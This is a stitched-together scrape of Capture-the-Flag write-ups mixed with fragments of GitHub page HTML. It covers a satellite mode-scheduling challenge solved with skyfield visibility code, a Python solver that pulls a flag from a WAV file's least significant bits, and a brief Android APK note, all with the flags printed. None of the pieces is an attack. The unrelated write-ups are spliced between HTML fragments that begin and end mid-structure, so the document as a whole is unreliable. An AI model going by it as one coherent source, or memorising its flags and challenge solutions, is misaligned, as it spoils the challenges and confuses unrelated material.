</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>misc.md</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
## Challenge:Given a satellite TLE, a point target, a ground station, and a 48-hour time window, schedule mode transitions such that 120MB of captured data are downlinked and the spacecraft survives the entire duration.
There are 4 modes:- sun_point, for charging batteries- imaging, for imaging the target- data_downlink, for downlinking data to the ground station- wheel_desaturate, for desaturating reaction wheels
The challenge only requires UTC time stamps and mode transitions; you do not need to find the spacecraft attitude needed for the modes. Also assume that mode transitions are instantaneous. Mode transitions must occur at 1-minute intervals (ie when seconds is 00). Any mode may transition to any other mode.
## A very unscientific manual trial-and-error approach:First, I generated visibility intervals for the target and the ground station with this convenient Python package (https://rhodesmill.org/skyfield), assuming minimum elevation angle of 30 degrees for no particular reason. With imaging and downlink intervals in place, I filled in the remaining time with sun_point.I then submitted a schedule of the transitions between mode intervals.
Upon submitting a proposed schedule, the simulator runs and prints out relevant state at one-minute intervals (eg reaction wheel RPM, battery levels, component temperature, etc). At the end, it outputs either success, or the first thing that caused failure.Possible failure reasons include:- Target was not visible during imaging mode- Target was not illuminated by the Sun during imaging mode- Ground station was not visible during downlink mode- Battery fell below 10% capacity- Imager temperature too high- Comms temperature too high- Reaction wheels saturated- Did not collect and downlink enough data
After submitting this preliminary schedule, which failed, I removed imaging passes that were not illuminated. (I suppose I could have filtered them out in the previous step when generating visibility intervals, but I didn't).
The reaction wheels will saturate over time, so I added wheel_desaturates as needed. The imager and comms will drain battery and overheat if left on for too long, so I shortened those intervals as needed.
When I finally got to the end of the 48-hour window without breaking the spacecraft, the schedule failed because it didn't collect enough data. I was puzzled because it seemed like there weren't enough overflights to do so, when I realized that I had arbitrarily assumed a minimum elevation angle of 30 degrees. It turns out that the minimum elevation angle was more like 0.
Adding in some more imaging and downlink intervals with lower elevation angle, I managed to generate a successful schedule, and was rewarded with cute ASCII art of a satellite and the flag.
In conclusion, doing squeaky wheel scheduling by hand really makes me appreciate the existence of automated planning and scheduling.
Final schedule:```2020-04-22T00:00:00Z sun_point2020-04-22T09:29:00Z imaging2020-04-22T09:35:00Z sun_point2020-04-22T10:47:00Z data_downlink2020-04-22T10:52:00Z sun_point2020-04-22T11:07:00Z imaging2020-04-22T11:08:00Z sun_point2020-04-22T18:00:00Z wheel_desaturate2020-04-22T19:00:00Z sun_point2020-04-22T22:22:00Z data_downlink2020-04-22T22:27:00Z sun_point2020-04-23T00:00:00Z data_downlink2020-04-23T00:03:00Z sun_point2020-04-23T07:00:00Z wheel_desaturate2020-04-23T08:00:00Z sun_point2020-04-23T09:33:00Z data_downlink2020-04-23T09:35:00Z sun_point2020-04-23T09:50:00Z imaging2020-04-23T09:57:00Z sun_point2020-04-23T11:12:00Z data_downlink2020-04-23T11:14:00Z sun_point2020-04-23T15:00:00Z wheel_desaturate2020-04-23T16:00:00Z sun_point2020-04-23T22:44:00Z data_downlink2020-04-23T22:48:00Z sun_point```
Relevant code:
```from skyfield.api import EarthSatellite, Topos, loadimport mathimport numpy
ts = load.timescale(builtin=True)
satname = "USA 224"line1 = "1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09"line2 = "2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04"satellite = EarthSatellite(line1, line2, satname, ts)
st = ts.utc(2020, 4, 22, 0, 0, 0)et = ts.utc(2020, 4, 24, 0, 0, 0)
#visibility intervalstarget = Topos('35.234722 N', '53.920833 E')t, events = satellite.find_events(target, st, et, altitude_degrees=0.0)print("Target visibility intervals")for ti, event in zip(t, events): name = ('rise', 'culminate', 'set')[event] print(ti.utc_jpl(), name)
#downlink intervalsgs = Topos('64.977488 N', '147.510697 W')t, events = satellite.find_events(gs, st, et, altitude_degrees=5.0)print("Ground station passes")for ti, event in zip(t, events): name = ('rise', 'culminate', 'set')[event] print(ti.utc_jpl(), name)``` |
# 2020 Defenit CTF - Baby Steganography>###### TAGS: `forensic`>[name=rlaclgjs@PLUS]
## Attachments* writeup * [solver code](https://gist.github.com/rlaclgjs1107/263cd8e085ac98c8d15f07a690223d97#file-sol-py)
Attachments are uploaded on [gist](https://gist.github.com/rlaclgjs1107/263cd8e085ac98c8d15f07a690223d97)
## Challenge```DescriptionI heared you can find hide data in Audio Sub Bit.Do you want to look for it?```Challenge provides a file named `problem`.
## SolutionBelow is file header of `problem`, opened with `HxD Editor`.

Reading header of the file, we can know `problem` is `.wav` format file. Because description of the challenge mentioned `Audio Sub Bit`, I noticed the challenge is about `LSB`.
Wave information is contained in `data` subchunk that comes after `fmt` subchunk.
So, The flag will be hidden in the `LSB` of the actual information behind the `ckID` and `cksize` of the `data` subchunk.
Let's check out!
## Solver```with open("problem", "rb") as f:
ckID = f.read(4) cksize = f.read(4) WAVEID = f.read(4)
ckID_ = f.read(4) cksize_ = f.read(4) wFormatTag = f.read(2) nChannels = f.read(2) nSamplesPerSec = f.read(4) nAvgBytesPerSec = f.read(4) nBlockAlign = f.read(2) wBitPerSample = f.read(2)
ckID__ = f.read(4) cksize__ = f.read(4)
print("ckID : %s"%ckID) print("cksize : %s"%cksize) print("WAVEID : %s"%WAVEID) print("=======") print("ckID : %s"%ckID_) print("cksize : %s"%cksize_) print("wFormatTag : %s"%wFormatTag) print("nChannels : %s"%nChannels) print("nSamplePerSec : %s"%nSamplesPerSec) print("nAvgBytesPerSec : %s"%nAvgBytesPerSec) print("nBlockAlign : %s"%nBlockAlign) print("wBitPerSample : %s"%wBitPerSample) print("=======") print("ckID : %s"%ckID__) print("cksize : %s"%cksize__)
res = open("res.txt", "w", encoding="utf-8") while True: for i in range(8): break_f = 0 data_raw = f.read(1) if not data_raw: break_f = 1 break data = str(bin(int.from_bytes(data_raw, 'big') & 1)).split('b')[1] res.write(data) if(break_f==1): break res.write("\n")
res.close() res_r = open("res.txt", "r") res_string = open("res_str.txt", "w", encoding="utf-8") for l in res_r: try: res_string.write(chr(int(l,2))) except: res_string.close() res_string.close()```
Then in the first line of the file `res_str.txt`, there is a flag!
## Flag`Defenit{Y0u_knOw_tH3_@uD10_5t39@No9rAphy?!}` |
---layout: default---# MOBILE
### CANDROID
A .apk was given , candroid.apk .
>:FLAG : flag{4ndr0id_1s_3asy}
I extracted it using apktool .

And bruteforced to search the flag.

### SIMPLE APP
Full same as CANDROID
>: FLAG : flag{3asY_4ndr0id_r3vers1ng}
 |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="AFDC:6BE1:1C6BCD05:1D41953E:64121F4B" data-pjax-transient="true"/><meta name="html-safe-nonce" content="4cf21ce0d8b3532ed25fc8efd1060c47d0b50c3eb1d5c39dcf2f9b881d089543" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBRkRDOjZCRTE6MUM2QkNEMDU6MUQ0MTk1M0U6NjQxMjFGNEIiLCJ2aXNpdG9yX2lkIjoiNTI4MjUzOTA5NDAzNTAxMzQ1MSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="1e0348a1b32d6a11372358f1de1e445e9f6fa0dc3b41254c1379061924b10cd1" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:268353024" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups"> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta name="twitter:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /> <meta property="og:image" content="https://opengraph.githubassets.com/ac342befed4cf97ff0c7ddb1fbb300107da46a3c7a8154cbd039537ba9d43827/noob-atbash/CTF-writeups" /><meta property="og:image:alt" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /><meta property="og:url" content="https://github.com/noob-atbash/CTF-writeups" /><meta property="og:description" content="Things we learned from Capture The Flag hacking competitions we participated in - CTF-writeups/nahamcon-20/crypto at master · noob-atbash/CTF-writeups" /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/noob-atbash/CTF-writeups git https://github.com/noob-atbash/CTF-writeups.git">
<meta name="octolytics-dimension-user_id" content="64429282" /><meta name="octolytics-dimension-user_login" content="noob-atbash" /><meta name="octolytics-dimension-repository_id" content="268353024" /><meta name="octolytics-dimension-repository_nwo" content="noob-atbash/CTF-writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="268353024" /><meta name="octolytics-dimension-repository_network_root_nwo" content="noob-atbash/CTF-writeups" />
<link rel="canonical" href="https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/crypto" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
